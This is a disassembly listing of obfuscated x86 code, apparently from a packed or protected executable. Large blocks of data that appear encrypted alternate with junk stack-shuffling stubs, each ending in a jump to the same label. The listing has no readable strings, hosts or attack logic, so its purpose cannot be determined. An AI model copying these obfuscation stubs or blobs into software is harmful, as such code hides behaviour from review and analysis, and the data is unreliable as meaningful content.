		dd 686E1CEAh, 6196D92Ch, 5B81C05Bh, 4E8D3457h, 41BA2540h
		dd 34A92873h, 21D41F6Eh, 19C1009Bh, 7CF7695h, 52F27883h
		dd 0C281E289h, 4, 4EA81h, 14870000h, 2C895C24h,	1B516824h
		dd 3C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		push	7C2B3ACBh
		mov	esi, [esp]
		add	esp, 4
		add	esi, 2731503h
		sub	esi, 78B51352h
		mov	edi, esi
		pop	esi
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, edi
		push	edx
		sub	dword ptr [esp], 165F7CA5h
		pop	dword ptr [ebp+8]
		add	dword ptr [ebp+8], 165F7CA5h
		pop	edx
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_4F5CCB
; ---------------------------------------------------------------------------
		dd 0B8DFB7C9h, 5E940F8h, 0E0FFC503h, 2E914ADCh,	9272B66h
		dd 70430CA7h, 7F2F638h,	414A7796h, 4402318h, 6C0F1293h
		dd 122F293Bh, 5AE904EBh, 0AAE94086h, 0A2000004h, 176A7034h
		dd 4A3FDBDFh, 0A584028Eh, 1B6E7432h, 0B936DCE2h, 8A18C5DAh
		dd 0F0BE3D0Ch, 596597EAh, 8D0BCCBDh, 83245D01h,	0F9F1F8D2h
		dd 6ED80203h, 59D82369h, 5B5F97D6h, 18B95102h, 12AB80FCh
		dd 0FAE0AE2Fh, 965E5287h, 0DF46A512h, 0CA515F9Ch, 0C0393881h
		dd 0B420A3FAh, 0AFE995F0h, 0F46E6BD7h, 0C971CC1Ah, 265996F8h
		dd 0B5F3E4A7h, 1853A394h, 0A40572FCh, 555983E6h, 0BE02F849h
		dd 0AFF5E46Fh, 8C0F725Ch, 18532A2Bh, 3B8CFBFCh,	5F74333h
		dd 0AB2C1DB9h, 14979EEDh, 185382B3h, 6EEF48FCh,	0A7FC1853h
		dd 0FCFF42C8h, 76079B6h, 0FC18536Bh, 70FEF670h,	0F8C1C531h
		dd 4FD8F42h, 613C3Ah, 6E060000h, 0F40E969h, 0C6FC18B9h
		dd 0FF347A63h, 631E7B82h, 78FC18B9h, 948F6CEh, 4BFFC8CEh
		dd 3A041396h, 135h, 0EFAE0900h,	6F33A9E7h, 870BCF32h, 0FFBB3B26h
		dd 3FB125ACh, 18B9D99Ah, 0C63308FCh, 0F3B93CA7h, 0D4A0EAA8h
		dd 0AAF0E7A6h, 7326C653h, 0DDF52E01h, 0DC184760h, 8A4F32D8h
		dd 6ED8860Ch, 9DC4276Dh, 0B4CE5D59h, 7B49B2F5h,	7539A120h
		dd 5F68A516h, 90131F17h, 18B90637h, 37BCDFFCh, 55A56038h
		dd 6E6ADD0Ah, 25D69922h, 0C7266495h, 0E5A95396h, 9A5F22A8h
		dd 9246891Ch, 1355FF0Eh, 9D41EC23h, 568E3A04h, 0B000000h
		dd 3F2E2F88h, 88E7FC18h, 6D6E4B3Fh, 5D9DC427h, 0E48CA51h
		dd 8D13C836h, 0FFBB2001h, 2746B3F7h, 287339BCh,	33764E88h
		dd 3A0411EEh, 3B5Dh, 0EFAE6100h, 0F7907FE7h, 0E76F7C8Fh
		dd 0AD2E11AAh, 0F5AEAE3Bh, 13482A7Bh, 0F934988h, 5A2A1CFCh
		dd 25A1EFECh, 22666E3Fh, 0B9C07EDBh, 6FD9FC18h,	13BD1097h
		dd 1123A04h, 54000000h,	0AE2C6A6Eh, 0EF529BE2h,	1477ACEAh
		dd 1F6E2CADh, 71BD89B3h, 68990589h, 9CEFB329h, 0E373E5Fh
		dd 4840DB64h, 0B599867Fh, 7E1515B2h, 0B78C01FAh, 0F49127B0h
		dd 0D0154FDEh, 0AB77FC47h, 1DAEAF0Dh, 8C0ACF76h, 0F0B62306h
		dd 0CBB5CC95h, 7CEAF9FAh, 0FFBD3A88h, 0BAC7DF48h, 0E15E1694h
		dd 0FCBFC2D8h, 2928B1FFh, 5093EAB0h, 689AE1A7h,	4F88F6CEh
		dd 961AC083h, 0F465C677h, 36F9FA6Ch, 0FA6CA091h, 1C3A71F9h
		dd 0B4F8E027h, 23AFE451h, 0E6E8A865h, 0F4073Fh,	0AE3B0000h
		dd 2DACECEFh, 0D8912A67h, 545C9DBBh, 4F8C1FA5h,	5A2A512h
		dd 1FADFA9h, 536198DBh,	9C5C83C8h, 0E453B710h, 13995E81h
		dd 4EE572F7h, 0A05419C1h, 8A4FF2CBh, 9DCACE06h,	9412C70Eh
		dd 8B7BFD71h, 0D6FCBA3Fh, 0E65675A8h, 6099D83Fh, 5780C35Ah
		dd 5481CA51h, 3F0E73h, 18300000h, 119D5F79h, 61409D8Ah
		dd 75EFB21Bh, 0FB5CC338h, 0FC188DAAh, 30196CDBh, 0FC188D3Fh
		dd 7269286Fh, 5D64BEF0h, 6FA42EDFh, 0A420145Eh,	319689BDh
		dd 0FC184BD0h, 3DAC2A01h, 5Ah, 577B1841h, 0D2E777D0h, 4B3E01FAh
		dd 7FFC0F8Bh, 7F78FB02h, 48910639h, 30900BECh, 0F5B4526Bh
		dd 4C488C04h, 91ABF417h, 0CEF9FAB9h, 995EAC98h,	5FC4F713h
		dd 9D53F46Bh, 0F007E3FFh, 21444AB1h, 39763ABEh,	0C136B9CCh
		dd 1C46A0FBh, 83A7AC28h, 0BD453B9Ch, 0D3A809CAh, 0EFAE0937h
		dd 1045A0EEh, 7AC72D07h, 0A039F342h, 0E3664AD7h, 1156A46h
		dd 3EBC8D02h, 7FE60572h, 0F8C4367Ah, 0B5220783h, 7CED94F7h
		dd 0E59A2D81h, 8ACB6C9Dh, 5BF9F2ECh, 17B0B7ECh,	0F9F2EC26h
		dd 0DE2780FFh, 446D808Fh, 0BA08FCBEh, 2E537F3Dh, 9922686Fh
		dd 9B21D6h, 1A4C16C1h, 81AC2197h, 9CC72693h, 86C95C58h
		dd 63A8964Eh, 96D8A5A3h, 5A83C259h, 0A094D654h,	0F0C48E58h
		dd 4B575582h, 84BB01F6h, 738A18C5h, 0DB5AE1FAh,	0EE845C98h
		dd 9A0C4598h, 0D23D8EFBh, 3, 6E9DA7E8h,	96D92C68h, 81C05B61h
		dd 8D34575Bh, 0BA25404Eh, 0A9287341h, 0D41F6E34h, 0C1009B21h
		dd 0CF769519h, 0F2788307h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	5B2Bh
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 373E2A57h
		inc	edi
		sub	edi, 3154E88Ch
		mov	ecx, edi
		pop	edi
		push	37F8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebp
		mov	ebp, ecx
		push	ebx
		mov	ebx, ebp
		mov	[edi+8], ebx
		pop	ebx
		pop	ebp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_4F5CCB
; ---------------------------------------------------------------------------
		db 0C6h
		dd 0D2132FB9h, 45F5B852h, 0C50305E9h, 3103E0FFh, 0E6C6E86h
		dd 0AB564C26h, 0A6DD1EA4h, 0DBD6066h, 16463A78h, 216A4DCBh
		dd 685F7677h, 7E885E3Ch, 8E5F31A3h, 30C667F7h, 60AB5E97h
		dd 0ACF62478h, 75C7743h, 10DD7A23h, 0BBB74F2h, 0B33922AEh
		dd 0DD997E83h, 80E4249Fh, 80E51CADh, 0CE0608B6h, 0B03B4FF7h
		dd 515B4C3Eh, 600A5E92h, 60772EC1h, 0C0FE51C7h,	36453288h
		dd 32DA7824h, 46C17CE8h, 5A863BE6h, 60D0DE2h, 7D3D5FC2h
		dd 8D8D20EEh, 5E9480Fh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0D0C35646h, 0C8D38166h, 0A5BD8B5Fh, 8905E22Ah
		dd 0E20BE98Dh, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 7BB7B5F9h, 7F25A982h
		dd 56BAE8CEh, 0E9601ED8h, 11h, 0ABE2E03Ah, 8BED8EF2h, 11ABD7DAh
		dd 87E86AA9h, 6185C746h, 0DC05E207h, 5300005Fh,	22D1B501h
		dd 0C75B05E2h, 0E21B5585h, 5, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0F381C9EAh
		dd 5E8h, 2348AB00h, 0FE90DFFh, 7B000000h, 0B011A037h, 0DF217341h
		dd 0F3D63D77h, 0FF587182h, 0E23045B5h, 0FFC18B05h, 0E20B1595h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 24122B48h, 528ABF52h, 8C0F2595h,	3, 6A0DE880h
		dd 0B995FF00h, 8B05E20Ah, 8C0CEBC0h, 0B3B9F20Ch, 81F60676h
		dd 0EB7C02E2h, 0C5846304h, 0CFBE972h, 0B680000h, 0E905E94Ah
		dd 0FFF937DFh, 0E94AF568h, 37D5E905h, 0BC68FFF9h, 0E905E94Ch
		dd 0FFF937CBh, 0E94DD668h, 37C1E905h, 6268FFF9h, 0E905E951h
		dd 0FFF937B7h, 0E952D168h, 37ADE905h, 0C868FFF9h, 0E905E953h
		dd 0FFF937A3h, 31DDD91Fh, 9A008470h, 636F33A7h,	35D1D71Eh
		dd 9D398774h, 0BD3E7F66h, 6396EBF7h, 0AF0B15Dh,	0B0291886h
		dd 81E0ECEAh, 0F1F13738h, 67A7EEF9h, 0A1EDEFAEh, 0B95819BEh
		dd 0B289FC18h, 0EBB12629h, 0E2A85190h, 1EA2589Bh, 4D39238Fh
		dd 40B8F8E1h, 0E03B8176h, 0AE0B3E6Bh, 0FC18B9ADh, 0AFD20F64h
		dd 7A0ECECh, 0F7BD3E03h, 876196EBh, 4763DFC4h, 84BBF079h
		dd 5B9F11C5h, 4A873457h, 6E6BEA71h, 0A4A9A228h,	34088180h
		dd 0B19213F1h, 0FC5DC4E5h, 1FAE81Eh, 86E33A71h,	0F9FAF7E9h
		dd 1887CFAh, 3FE65DCCh,	5F63h, 3ABDFC00h, 0EB6CCD7Ch, 3AF9FAFFh
		dd 0AE8E7C4Dh, 1BACEAEFh, 2FD53D22h, 0ED1C181Bh, 82275A97h
		dd 1FA95D0h, 3F309918h,	0D6F9FAE5h, 6DDA4099h, 0A354171Eh
		dd 3C8986E5h, 0CC780F61h, 0B41DAE1Bh, 0F9FAAEBFh, 0D75A2AACh
		dd 3FE62AFAh, 2A24C653h, 2301C00Fh, 6AB1FFFCh, 0D55BD8E1h
		dd 6F000000h, 0D823696Eh, 0CF5E6499h, 17D70544h, 0ACE9BA5Ah
		dd 0B7D6030Fh, 3DBAA506h, 34A52C7Fh, 25FF6876h,	53FC189Ch
		dd 2DBE910h, 6D1C9A5Fh,	973C90FCh, 16B7F6DCh, 0C2C83170h
		dd 3EB9F8BBh, 89966F78h, 8D05A2A5h, 2401FAC6h, 8B88434Fh
		dd 6007A0A7h, 9E041F31h, 0D903A09h, 96895FEAh, 0DF680031h
		dd 419AD1F7h, 78FB6EC5h, 0F1C082EFh, 0DFE80963h, 22256B90h
		dd 0A15506A3h, 0B78CF7DFh, 0E1048870h, 0F2B75374h, 4A7EBB09h
		dd 29FE7EBFh, 0A74F55Ch, 73650000h, 1ED6AB37h, 0CD0D7C9Ah
		dd 7164C5C1h, 21DAAF2Bh, 19F87793h, 4D495784h, 2BB7FDFCh
		dd 0F218A456h, 464C4A8Fh, 91C2679Eh, 40F9F1F3h,	6D6E19DDh
		dd 9106BB27h, 0BD299B26h, 649926Eh, 1CFCBD1h, 0D0577B18h
		dd 0FAD1C777h, 0B22B1E01h, 2D54B7ECh, 99226E6Ah, 0FAA10330h
		dd 0DED610F9h, 0A5E91150h, 0B6B41546h, 3FE62B5Bh, 0BEF0h
		dd 696ECA00h, 6499D823h, 0AA62CF5Eh, 1EFC18BEh,	0B237D3D9h
		dd 3F853425h, 0BF083B47h, 3A4147B0h, 0F3C1387Bh, 0F396705Ah
		dd 4A51412h, 1F02262Bh,	0DF1D9D5Ch, 0D60766D3h,	0F52D8AF5h
		dd 1C01FA25h, 0EB72027h, 11927DDEh, 0D9928851h,	6E9190B4h
		dd 59094AEFh, 63D8F9FBh, 0E9F2BE3Ch, 1E89EA80h,	0D3562D04h
		dd 0B9256B90h, 568713C8h, 43B83D48h, 7D452C26h,	4B2A7FFEh
		dd 98Ah, 0BD595D9Bh, 68C08CCh, 0EFEBB723h, 0B15D5B9Ah
		dd 19850BF0h, 41BA03E2h, 0E7125773h, 8E4C3DD9h,	34A58402h
		dd 1D646876h, 0F1F3BBBCh, 0E32B6AF9h, 0AE2D6D6Eh, 1B5085E0h
		dd 0F4B22564h, 857237D3h, 6EDD9B07h, 7D3C2369h,	86AD3E7Ch
		dd 0F61C9A5Fh, 18B9D855h, 0AFEDEAFCh, 13995E23h, 0A904988h
		dd 68A70F3h, 5A1BBCE7h,	8BFC18B9h, 8E4DBCh, 63531DE5h
		dd 675F991Dh, 32D8DE1Bh, 810FCC8Fh, 52E8F17Ah, 3A04137Fh
		dd 8A2Ch, 7B181600h, 0F377D057h, 2A01FACAh, 44E9F381h
		dd 0C9062251h, 6858D5B2h, 0D4BF9FAh, 0E01BF639h, 64B03FE6h
		dd 8A000000h, 18B9FA88h, 0BF93B0FCh, 0C69B2F88h, 266901FAh
		dd 0B5D1EAAEh, 335C4022h, 2966BAD5h, 4D1FDCADh,	83B5CE8Ah
		dd 46BC8CC9h, 0CC0E3E5Fh, 266292D5h, 0C25996C7h, 0C54468F5h
		dd 18F4AA64h, 606EC504h, 5C5A9EC1h, 7A01D9Bh, 8F1EA258h
		dd 6392D32h, 3EEC09A1h,	4E89F80Ah, 43B83D48h, 5870247h
		dd 18380000h, 51D0577Bh, 18B94708h, 0E77D9EFCh,	78E0B056h
		dd 7F33663h, 5AFF22BBh,	1FABC9Ch, 0C4ADF8B7h, 0F9FA33AFh
		dd 0C74A3ABCh, 3FE6990Ah, 554A1h, 8C0F8500h, 0E6994DD2h
		dd 0FAC3D541h, 0F1370C01h, 3FE0BE56h, 0F3D77CA0h, 0F4F7EB4Ch
		dd 4205AE5Dh, 44F11498h, 3D482763h, 7A615FC4h, 84F1B73Eh
		dd 0C059D84Fh, 0CE0CB559h, 2D5149C2h, 0DE349D2Eh, 6AB477C5h
		dd 0E5E3FFDh, 194AC3C9h, 0BD03F808h, 54236740h,	276592D5h
		dd 5718A120h, 8E477760h, 28298EB1h, 0F9477760h,	0DC6D3982h
		dd 8A535F9Dh, 6F9412C7h, 4ED5FC5Dh, 0C3F85B2Eh,	0D2000007h
		dd 77A6024h, 7ACFCBCFh,	0D594327Eh, 0B7E6422h, 0A9C6CCD2h
		dd 0BA08F5CAh, 0E0AE2D1Ch, 495587FAh, 0BDFBFC4Dh, 73D42D11h
		dd 0F9F1F5C2h, 6EA81213h, 0EFD82369h, 7EDB4E62h, 1FAD128h
		dd 0FF70D958h, 16F9FAA1h, 0A9E6A453h, 0C8618A10h, 2D89AB59h
		dd 3372F522h, 34A1C4CAh, 7CED6C93h, 0E1236CFCh,	0E4174AEEh
		dd 0BD0E4FDEh, 0C54448B2h, 0C9118254h, 0E8E4AF63h, 0BABAD350h
		dd 0BCE3159h, 0D4F56685h, 0F897336h, 36A7C6CCh,	94C5A2F9h
		dd 56F9FA73h, 42D9E517h, 0DA57B009h, 9EF9FA03h,	0DAADDF1h
		dd 4180FD1h, 9FF80378h,	0F7DC4FE2h, 87F77F1h, 45C909D5h
		dd 2E7Ah, 7B184C00h, 2E51D057h,	18B9C889h, 0B12819FCh
		dd 0E65398E3h, 0EC9E7CC5h, 0BAF101FAh, 0B88E1287h, 0BEDFE317h
		dd 0E2FBBAFCh, 24F85Bh,	18020000h, 51D0577Bh, 18B94708h
		dd 89645FCh, 6D943502h,	0FAE31ACCh, 0CB7E3501h,	0ED6F725Eh
		dd 0DCED3D46h, 696E75B1h, 0D600C623h, 86E30A45h, 6A9BFh
		dd 7A3EB800h, 0ADE9ED5Ch, 14984021h, 7E3CBB8Eh,	0A6EC1150h
		dd 0DBE48338h, 33769C22h, 6DDCFAC8h, 0C2A7236Fh, 4B0B9715h
		dd 0F4DC9D3Ah, 875F9F1h, 9D7B18C2h, 18B93B3Ch, 209DEAFCh
		dd 5856A821h, 980DCB35h, 1E41C04Fh, 0AF08D1D7h,	1FA3477h
		dd 0FD47D9Eh, 0DF566A4Fh, 0FB24F97Ah, 0E65328F9h, 75C31A75h
		dd 63D8BF0Bh, 9A20D918h, 0D1D7EB7Ch, 8C932680h,	143932D8h
		dd 8C4E3130h, 0DF78A700h, 2CD4BF0Fh, 5C1DBA3Dh,	2ECF083Eh
		dd 378E6AAh, 0E01D6CBAh, 0D2084BD2h, 0C12491CEh
		dd 0B452569Eh, 0B7AA9E83h, 6847534h, 6C03E315h,	0AD3A9F8h
		dd 0EA522DA1h, 7865C432h, 0C1AEFD2Ah, 0C4EA1DACh, 0DA7FFEBFh
		dd 0C4EA1D99h, 60EAF348h, 36A7E694h, 0F62B5F68h, 5572F6B3h
		dd 178h, 577B1869h, 0D71F77D0h,	0F9B601FAh, 3AA0E3A2h
		dd 0FB307C7Ch, 0AF922BA0h, 3666C2Ah, 0ECB5D0D6h, 2681ECD6h
		dd 0E38F6721h, 687137A0h, 0C760F0E9h, 0D135E096h, 0E042F354h
		dd 0A493D135h, 0E94C1BEh, 0C43978FBh, 1D2EAFFEh, 0D135E05Ch
		dd 79E5AB2Eh, 41B6B902h, 0CD0C8C71h, 0FA738AC7h, 9D117E8Dh
		dd 0C80E4EAAh, 8F48B68Eh, 0A4571609h, 0DB4E8F1Eh, 602AFD7Eh
		dd 8E5F14A8h, 41E66998h, 0A8602A10h, 0C6376AC1h, 7760EFF8h
		dd 4F7C13Bh, 0F11441BEh, 33361A38h, 0E7068A70h,	8D2A5576h
		dd 0A8602A2Ch, 0F7BB3F7Eh, 0A831B0D6h, 0A8602AA7h, 2A93C465h
		dd 0F542A860h, 39A51269h, 0A3D113Eh, 0FF0E8C4Bh, 85226D7Eh
		dd 55822DB9h, 65E49BD0h, 211445E2h, 76CDA642h, 422164D5h
		dd 0E5C6BDA6h, 4642D75Eh, 91D5E9E2h, 0E9EE516Ah, 1D682EA9h
		dd 26763D8h, 931FDDD5h,	99ECA82Ch, 0BB84E75Ch, 0A642E9A2h
		dd 25B2FFh, 0E58E6BEEh,	0DED69029h, 0AE2B6790h,	0B417B3E8h
		dd 2A360EE1h, 30DE8E91h, 8E4F0EB1h, 0D770E500h,	32B78C66h
		dd 8E0ACABFh, 3881FE7Fh, 0A3FAC039h, 97D861E0h,	4E32B78Ch
		dd 0BE8FE8F1h, 0CF4CCF55h, 8C4DB98Dh, 0B8E1B0Eh, 0D4222831h
		dd 0B7E2CBDh, 9418C2CEh, 988FC471h, 419A20D9h, 6C40CD3Ah
		dd 84BA5CFDh, 1E55550Ch, 3C51F0h, 6F2E0000h, 0A185266Ch
		dd 3C9D7B18h, 0FC18B93Bh, 5F6397EAh, 0E5528FCCh, 0ECF1C562h
		dd 0A63301FAh, 16A2BCC5h, 0E62485AAh, 3F37289h,	0B8F01B87h
		dd 755BC7A3h, 84EC55F2h, 4E25F9FAh, 696E39EDh, 4302A723h
		dd 0FCB51694h, 6BCC7357h, 1FAC21Bh, 0E1A72E11h,	72F542D8h
		dd 454BB0F3h, 99DA7F26h, 48F9FAB0h, 3A2586F3h, 93D6FCC0h
		dd 0D6CAF969h, 7085B35Dh, 0A17E03Bh, 862326h, 0BB04188Fh
		dd 0A3D0B9CCh, 0E7F7DCBEh, 46D3567Ah, 87AA0CFDh, 78372084h
		dd 78F1972Dh, 51F63982h, 0A3E7D7Dh, 0E34CDF94h,	0EDBE7C4Eh
		dd 234BDC5Dh, 0FEE0180Ch, 4A0BACD3h, 9BEDBE4Dh,	63531BACh
		dd 0DC0942D7h, 8C61232Eh, 0A5D20F3Bh, 45794BAAh, 4D000000h
		dd 696C2FAEh, 0CA93D823h, 0FC18B989h, 0E1DAE358h, 0A96427Ch
		dd 0E03DAADDh, 0E2B8BB6Dh, 0C267AA33h, 1FAE3F4h, 9532B534h
		dd 0F9FAFBA4h, 3425067Dh, 0EDF9FAFBh, 9AD13596h, 95410003h
		dd 1F69C811h, 9D000000h, 0D0577B18h, 0B9470851h, 0A19EFC18h
		dd 0AE309918h, 4101FAE3h, 0C63477EAh, 912AA3FAh, 696E308Ah
		dd 0D5FAC623h, 0ACF90A45h, 31DC5h, 0CECA0C00h, 317561C0h
		dd 9824D495h, 0C2C80F72h, 2A7865C4h, 2F7017ACh,	87FAE0AEh
		dd 0E1404E54h, 562BB7FBh, 0F7FF1BA1h, 0E828298Eh, 0B4F9F9F1h
		dd 23696E76h, 71D659D8h, 0FC18B9C0h, 0DE815A11h, 7BEC9319h
		dd 121BAC04h, 575B9F2Fh, 714A8734h, 0A6551495h,	7F488D18h
		dd 0B2B59986h, 0FA1C4115h, 3F3F5801h, 4597DC43h, 0FB44A71Ch
		dd 0F9FA5746h, 0EC231355h, 3FE6FD31h, 931FDD9Ch, 0AFA00908h
		dd 66F9FA5Fh, 860BDC09h, 3Ah, 5D7B18B8h, 4E8F1E9Ch, 4FDEDC1Bh
		dd 39AED10Eh, 34BEDCEDh, 0D3526FE0h, 21785CFDh,	0C267AA33h
		dd 1FAD390h, 0C891F443h, 0F9FAA3BBh, 0D3562EA8h, 3FE62CFEh
		dd 105ADh, 696E9100h, 9DE8AE29h, 5998E358h, 448F1EA4h
		dd 4FF61593h, 45860C8Ah, 0FC18BE4Fh, 9CDD7AFDh,	0B5FC18BCh
		dd 7562EDFEh, 21D6AB37h, 8801009Bh, 395DFAEEh, 14EDFEDAh
		dd 83245B0Fh, 1FA9E83h,	2AB5B029h, 9E3FA5E6h, 6462D94Dh
		dd 74E542C5h, 0ADF9FA48h, 0A0689B0Ah, 4B80CA1Bh, 1DAE614h
		dd 72B28h, 0F7169C41h, 0BB3A6546h, 2CBD03F8h, 1F4B4FC3h
		dd 9689E604h, 0F75020D7h, 0F7DE6246h, 0F46BA09Fh, 0DE62E253h
		dd 634433F7h, 0FDFABD3Ch, 0BA232EBFh, 0C73275F4h, 9029A2F9h
		dd 7846B78Ah, 7EFA4F33h, 220D18FEh, 1AEh, 517D39BFh, 3AA0E410h
		dd 830F9347h, 557137BEh, 3DD9E714h, 1DDEDF86h, 0C3360B97h
		dd 6A90D1FDh, 10C9B826h, 21400C8Ah, 0F1EBD798h,	0C7070EF9h
		dd 0C98A2FAEh, 18FC18B9h, 0B90F40E9h, 69C6FC18h, 37A4AB3Ch
		dd 0BE3C7463h, 296685F2h, 1187A284h, 5895C28Eh,	8C0ACFB2h
		dd 7B185806h, 0C777D057h, 1E01FAD1h, 0C07DDA21h, 0F2F9FAA1h
		dd 0FC678602h, 8F54B7FDh, 7F81F7CFh, 479A0DF9h,	0E43FE62Bh
		dd 0B1h, 23696EDEh, 0C4C059D8h,	0E9B525FFh, 0F7305992h
		dd 7CDE18C8h, 2624C18Dh, 6C91D0E9h, 0A27AC726h,	16FC1871h
		dd 8A3FDBE1h, 6DADAE0Bh, 564FC18h, 2699D6D4h, 90DFE8B4h
		dd 0EDDA2167h, 7CDD4C60h, 1FA03AAh, 77606EC5h, 0C043C6EAh
		dd 2F525881h, 0FA4BC98Ah, 9A2318F9h, 1F9B3E31h,	0E998D704h
		dd 636F35A6h, 0AAD7DD1Eh, 0FE7E33B2h, 0B785ECB9h, 0A6000000h
		dd 1B6E7430h, 4E33DFDBh, 0A998068Ah, 1F62682Eh,	0BDCAD0DEh
		dd 8E14C9D6h, 0F4BA2100h, 5D619BEEh, 8107F0B1h,	8F285905h
		dd 0F9F1EACEh, 6EDC1E07h, 6120276Dh, 0FDA93278h, 414D4B8Ch
		dd 23696E9Bh, 506099D8h, 5687E6AAh, 55FAFD19h, 0C3387E7Bh
		dd 164FB5Ch, 0B8890202h, 2011B640h, 0F1F9F1F1h,	0F5104DBAh
		dd 880ECB8Ah, 0C1C7303Fh, 357364C5h, 0C3F089D6h, 4F0976ACh
		dd 4F88CB77h, 8F17049h,	0A2E50482h, 0EA557632h,	39B8AFEDh
		dd 0EA3DF90h, 0A0397681h, 1D9B5A85h, 4E26208Eh,	15B1F7E0h
		dd 7639A354h, 0B3F7FF46h, 84BA039Ah, 3553C4Fh, 69000000h
		dd 686E9DA7h, 6196D92Ch, 5B81C05Bh, 4E8D3457h, 41BA2540h
		dd 34A92873h, 21D41F6Eh, 19C1009Bh, 7CF7695h, 56F27883h
		dd 0C681E689h, 4, 8704EE83h, 895C2434h,	8956242Ch, 4C681E6h
		dd 83000000h, 348704EEh, 2C895C24h, 26B96824h, 0C890000h
		dd 48716824h, 2C8B05E9h, 4C48324h, 240C8B54h, 5304C483h
		dd 8BBh, 89CB0100h, 241C8B2Bh, 4C481h, 0C8B0000h, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h
		db 8Bh,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_4F5CCB
; ---------------------------------------------------------------------------
		dd 54A4B8B2h, 0C50305E9h, 0C9DDE0FFh, 962646E6h, 0D43F7AAFh
		dd 76E0390Ah, 68B10395h, 9A363E45h, 475C24A3h, 0D01D0005h
		dd 81F12AF0h, 0DEB24DF7h, 8B8441B4h, 5C197478h,	6B8F3138h
		dd 5ADC4931h, 5B165C7Ch, 1DA649EEh, 3B503FF2h, 80A9140Eh
		dd 6FFB4773h, 0F8B23E94h, 999644A7h, 49724667h,	531C2AE0h
		dd 0DCD12B49h, 434F7855h, 498F0D22h, 34B222DCh,	0CDC24D34h
		dd 4EB36EAh, 286385EEh,	514E9h,	9612C400h, 0F9BD3908h
		dd 206C6CDDh, 8A10C7BAh, 0F2C03D0Ch, 0E7B85FD4h, 5F22A8F6h
		dd 0B988169Ch, 0EE537F43h, 3F27A3E9h, 0ECF061C6h, 7C21F9F1h
		dd 34258205h, 0EDF9F1ECh, 6E713596h, 59D82369h,	0BBB6FCC0h
		dd 6A7398F8h, 22A8F6E7h, 891C9A5Fh, 0F00B9146h,	0FA018571h
		dd 0B806FEB8h, 0EC5D793Fh, 8ECF68EEh, 47FC18E2h, 5217B3E8h
		dd 0F465E4A8h, 4A6B5724h, 826CED2Ah, 0B1E1F98Fh, 0BF264D9Eh
		dd 0CB17763Ch, 0F302D146h, 62E99555h, 0EAF3B73Fh, 0B4269460h
		dd 5A9FE2E8h, 746C95Ch,	0B6A700D0h, 6FFC18B3h, 0B40DB10h
		dd 0B382B314h, 0E453FC18h, 0B3C47AC3h, 6BDDFC18h, 2BACEF9Bh
		dd 0F32E5C6Dh, 583A041Dh, 59h, 23696E62h, 0B9C07FD8h, 61E7FC18h
		dd 13BF1295h, 0F96E3A04h, 0EDE7CD44h, 9805A68Ch, 1, 22666EA2h
		dd 585C98DBh, 0DA0342CDh, 894CF3D4h, 7E79F803h,	7762ED38h
		dd 7E45D229h, 41AB29EFh, 0C6BEA800h, 0BA8ACC72h, 0D206884Ch
		dd 347591CEh, 342C5C3h,	14F2CBD7h, 276D6E2Eh, 5D599DC4h
		dd 4232B4CEh, 4AB307F4h, 0B928298Eh, 82F9FC18h,	4FF21855h
		dd 8E1FD9DAh, 0B5125337h, 0FC181984h, 10A9E65Dh, 9BE2A851h
		dd 6D1CA058h, 190C4DEAh, 0D91EFC18h, 70348D3h, 6CF49F28h
		dd 2D6C1AEAh, 529BE2B0h, 5B99C839h, 0EFF8C13Fh,	443965Bh
		dd 67353Ah, 6E090000h, 0B720276Dh, 0C9DB5FACh, 0C90483Bh
		dd 0E46FF6D7h, 0F6B9A8F4h, 1A21BAFEh, 18665E18h, 0B031DDE3h
		dd 51A7A831h, 17EFC18h,	7444B9B8h, 0BFCE3B81h, 0A0FBC134h
		dd 0BBEEC600h, 3A04F976h, 4ED5h, 6D6EE900h, 5F9DC427h
		dd 5489C853h, 45B43F4Eh, 9804D3A3h, 62DF5DE4h, 0C1B5BF1Bh
		dd 0FE7617Fh, 6E743AA3h, 0FE666E60h, 0BC2FA074h, 0D32A676Fh
		dd 0A5E91150h, 0B87BB04h, 0ED9CFC18h, 1F6E2AAAh, 71450DDEh
		dd 4C5E33Eh, 1483Ah, 6E720000h,	9CC7266Ah, 87CE5D5Bh, 66334A50h
		dd 0AE7237F5h, 0BCA3D8Fh, 72347E8Dh, 65AC3E82h,	0DFC038F4h
		dd 0B20BF188h, 8A4EBC88h, 5DCCC80Ch, 18B97BFCh,	60DDAAFCh
		dd 0F8EC717Ah, 0CD5EE049h, 3DAA01FAh, 0EAE10F5h, 0F614B540h
		dd 0A20786B9h, 0F9FA18B1h, 0ABB20B60h, 0EDE9AF28h, 0CE5D5B9Ch
		dd 0FA18CE61h, 951495F9h, 0CC72304h, 38012566h,	0F9FA0537h
		dd 5C629BEEh, 0C6578CC9h, 0DE198F0Eh, 420CDD68h, 0D5D30472h
